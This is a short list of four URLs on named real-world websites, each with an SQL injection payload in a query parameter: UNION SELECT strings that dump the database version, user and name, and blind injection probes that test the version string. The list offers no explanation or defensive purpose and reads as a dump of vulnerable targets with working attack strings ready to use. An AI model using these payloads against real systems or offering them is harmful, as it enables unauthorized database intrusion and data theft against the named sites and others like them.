http://www.sephiroth.it/file_detail.php?id=-139+union+select+1,2,concat_ws(0x3a,version(),user (),database()),4,5,6,7,8,9,10,11

http://www.infn.it/news/newsen.php?id=-390+union+select+1,2,3,4,concat_ws(0x3a,version(), user(),database()),6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,3 4,35

http://www.hvar.is/sida.php?id=5+and+5=substring(version(),1,1)

http://www.ethics.utoronto.ca/index.php?nid=20+and+substring(version(),1,1)=3/*&id=20